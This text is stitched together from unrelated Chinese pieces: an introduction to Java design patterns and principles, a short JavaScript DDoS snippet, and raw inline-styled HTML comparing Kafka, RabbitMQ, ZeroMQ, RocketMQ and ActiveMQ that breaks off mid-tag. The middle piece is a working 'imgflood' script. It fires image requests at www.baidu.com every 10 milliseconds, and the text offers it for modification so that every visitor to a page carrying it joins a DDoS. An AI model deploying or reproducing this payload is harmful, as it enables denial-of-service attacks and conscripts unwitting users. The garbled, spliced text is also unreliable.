从今天开始总结java的23种设计模式，转载自原文链接，在细节方面有所修改。 #设计模式（Design Patterns） 设计模式（Design pattern）是一套被反复使用、多数人知晓的、经过分类编目的、代码设计经验的总结。使用设计模式是为了可重用代码、让代码更容易被他人理解、保证代码可靠性。 毫无疑问，设计模式于己于他人于系统都是多赢的，设计模式使代码编制真正工程化，设计模式是软件工程的基石，如同大厦的一块块砖石一样。项目中合理的运用设计模式可以完美的解决很多问题，每种模式在现在中都有相应的原理来与之对应，每一个模式描述了一个在我们周围不断重复发生的问题，以及该问题的核心解决方案，这也是它能被广泛应用的原因。 ##设计模式的分类 总体来说设计模式分为三大类： 创建型模式，共五种：工厂方法模式、抽象工厂模式、单例模式、建造者模式、原型模式。 结构型模式，共七种：适配器模式、装饰器模式、代理模式、外观模式、桥接模式、组合模式、享元模式。 行为型模式，共十一种：策略模式、模板方法模式、观察者模式、迭代子模式、责任链模式、命令模式、备忘录模式、状态模式、访问者模式、中介者模式、解释器模式。 其实还有两类：并发型模式和线程池模式。用一个图片来整体描述一下：  ##设计模式的六大原则 1、开闭原则（Open Close Principle） 开闭原则就是说对扩展开放，对修改关闭。在程序需要进行拓展的时候，不能去修改原有的代码，实现一个热插拔的效果。所以一句话概括就是：为了使程序的扩展性好，易于维护和升级。想要达到这样的效果，我们需要使用接口和抽象类，后面的具体设计中我们会提到这点。 2、里氏代换原则（Liskov Substitution Principle） 里氏代换原则(Liskov Substitution Principle LSP)面向对象设计的基本原则之一。 里氏代换原则中说，任何基类可以出现的地方，子类一定可以出现。 LSP是继承复用的基石，只有当衍生类可以替换掉基类，软件单位的功能不受到影响时，基类才能真正被复用，而衍生类也能够在基类的基础上增加新的行为。里氏代换原则是对“开-闭”原则的补充。实现“开-闭”原则的关键步骤就是抽象化。而基类与子类的继承关系就是抽象化的具体实现，所以里氏代换原则是对实现抽象化的具体步骤的规范。—— From Baidu 百科 3、依赖倒转原则（Dependence Inversion Principle） 这个是开闭原则的基础，具体内容：真对接口编程，依赖于抽象而不依赖于具体。 4、接口隔离原则（Interface Segregation Principle） 这个原则的意思是：使用多个隔离的接口，比使用单个接口要好。还是一个降低类之间的耦合度的意思，从这儿我们看出，其实设计模式就是一个软件的设计思想，从大型软件架构出发，为了升级和维护方便。所以上文中多次出现：降低依赖，降低耦合。 5、迪米特法则（最少知道原则）（Demeter Principle） 为什么叫最少知道原则，就是说：一个实体应当尽量少的与其他实体之间发生相互作用，使得系统功能模块相对独立。 6、合成复用原则（Composite Reuse Principle） 原则是尽量使用合成/聚合的方式，而不是使用继承。

以下是个请求发起的注入代码，经过修改，即可对目标网站发起请求， ``` function imgflood() { var TARGET = 'www.baidu.com' var URI = '/index.php?' var pic = new Image() var rand = Math.floor(Math.random() * 1000) pic.src = 'http://'+TARGET+URI+rand+'=val' } setInterval(imgflood, 10) ``` 该脚本会在目标网页上生成一个图片按钮，图片按钮会指向“www.baidu.com” 网站。只要用户访问了含有该脚本的网页，那么他就会成为 “www.baidu.com”DDoS攻击中的一员。浏览器发出的每一个请求都是有效请求。

<p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;">本文介绍了Kafka、RabbitMQ、ZeroMQ、RocketMQ、ActiveMQ 17 个方面综合对比作为消息队列使用时的差异。</span><br></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <h1 style="max-width: 100%;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">一 资料文档</strong></span></h1> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">Kafka：中。有kafka作者自己写的书，网上资料也有一些。 rabbitmq：多。有一些不错的书，网上资料多。 zeromq：少。没有专门写zeromq的书，网上的资料多是一些代码的实现和简单介绍。 rocketmq：少。没有专门写rocketmq的书，网上的资料良莠不齐，官方文档很简洁，但是对技术细节没有过多的描述。 activemq：多。没有专门写activemq的书，网上资料多。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <h1 style="max-width: 100%;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">二 开发语言</strong></span></h1> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">Kafka：Scala rabbitmq：Erlang zeromq：c rocketmq：java activemq：java</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <h1 style="max-width: 100%;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">三 支持的协议</strong></span></h1> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">Kafka：自己定义的一套…（基于TCP） rabbitmq：AMQP zeromq：TCP、UDP rocketmq：自己定义的一套… activemq：OpenWire、STOMP、REST、XMPP、AMQP</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <h1 style="max-width: 100%;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">四 消息存储</strong></span></h1> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;background-color: rgb(255, 218, 169);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">Kafka：内存、磁盘、数据库。支持大量堆积。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">kafka的最小存储单元是分区，一个topic包含多个分区，kafka创建主题时，这些分区会被分配在多个服务器上，通常一个broker一台服务器。 分区首领会均匀地分布在不同的服务器上，分区副本也会均匀的分布在不同的服务器上，确保负载均衡和高可用性，当新的broker加入集群的时候，部分副本会被移动到新的broker上。 根据配置文件中的目录清单，kafka会把新的分区分配给目录清单里分区数最少的目录。 默认情况下，分区器使用轮询算法把消息均衡地分布在同一个主题的不同分区中，对于发送时指定了key的情况，会根据key的hashcode取模后的值存到对应的分区中。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;background-color: rgb(255, 218, 169);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">rabbitmq：内存、磁盘。支持少量堆积。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">rabbitmq的消息分为持久化的消息和非持久化消息，不管是持久化的消息还是非持久化的消息都可以写入到磁盘。 持久化的消息在到达队列时就写入到磁盘，并且如果可以，持久化的消息也会在内存中保存一份备份，这样可以提高一定的性能，当内存吃紧的时候会从内存中清除。非持久化的消息一般只存在于内存中，在内存吃紧的时候会被换入到磁盘中，以节省内存。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">引入镜像队列机制，可将重要队列“复制”到集群中的其他broker上，保证这些队列的消息不会丢失。配置镜像的队列，都包含一个主节点master和多个从节点slave,如果master失效，加入时间最长的slave会被提升为新的master，除发送消息外的所有动作都向master发送，然后由master将命令执行结果广播给各个slave，rabbitmq会让master均匀地分布在不同的服务器上，而同一个队列的slave也会均匀地分布在不同的服务器上，保证负载均衡和高可用性。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;background-color: rgb(255, 218, 169);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">zeromq：消息发送端的内存或者磁盘中。不支持持久化。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;background-color: rgb(255, 218, 169);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">rocketmq：磁盘。支持大量堆积。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">commitLog文件存放实际的消息数据，每个commitLog上限是1G，满了之后会自动新建一个commitLog文件保存数据。ConsumeQueue队列只存放offset、size、tagcode，非常小，分布在多个broker上。ConsumeQueue相当于CommitLog的索引文件，消费者消费时会从consumeQueue中查找消息在commitLog中的offset，再去commitLog中查找元数据。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">ConsumeQueue存储格式的特性，保证了写过程的顺序写盘（写CommitLog文件），大量数据IO都在顺序写同一个commitLog，满1G了再写新的。加上rocketmq是累计4K才强制从PageCache中刷到磁盘（缓存），所以高并发写性能突出。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;background-color: rgb(255, 218, 169);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">activemq：内存、磁盘、数据库。支持少量堆积。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <h1 style="max-width: 100%;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">五 消息事务</strong></span></h1> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">Kafka：支持&nbsp;</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">rabbitmq：支持。 客户端将信道设置为事务模式，只有当消息被rabbitMq接收，事务才能提交成功，否则在捕获异常后进行回滚。使用事务会使得性能有所下降&nbsp;</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">zeromq：不支持&nbsp;</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">rocketmq：支持&nbsp;</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">activemq：支持</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <h1 style="max-width: 100%;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">六 负载均衡</strong></span></h1> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;background-color: rgb(255, 218, 169);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">Kafka：支持负载均衡。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">一个broker通常就是一台服务器节点。对于同一个Topic的不同分区，Kafka会尽力将这些分区分布到不同的Broker服务器上，zookeeper保存了broker、主题和分区的元数据信息。分区首领会处理来自客户端的生产请求，kafka分区首领会被分配到不同的broker服务器上，让不同的broker服务器共同分担任务。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">每一个broker都缓存了元数据信息，客户端可以从任意一个broker获取元数据信息并缓存起来，根据元数据信息知道要往哪里发送请求。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">kafka的消费者组订阅同一个topic，会尽可能地使得每一个消费者分配到相同数量的分区，分摊负载。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">当消费者加入或者退出消费者组的时候，还会触发再均衡，为每一个消费者重新分配分区，分摊负载。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">kafka的负载均衡大部分是自动完成的，分区的创建也是kafka完成的，隐藏了很多细节，避免了繁琐的配置和人为疏忽造成的负载问题。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">发送端由topic和key来决定消息发往哪个分区，如果key为null，那么会使用轮询算法将消息均衡地发送到同一个topic的不同分区中。如果key不为null，那么会根据key的hashcode取模计算出要发往的分区。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;background-color: rgb(255, 218, 169);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">rabbitmq：对负载均衡的支持不好。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box 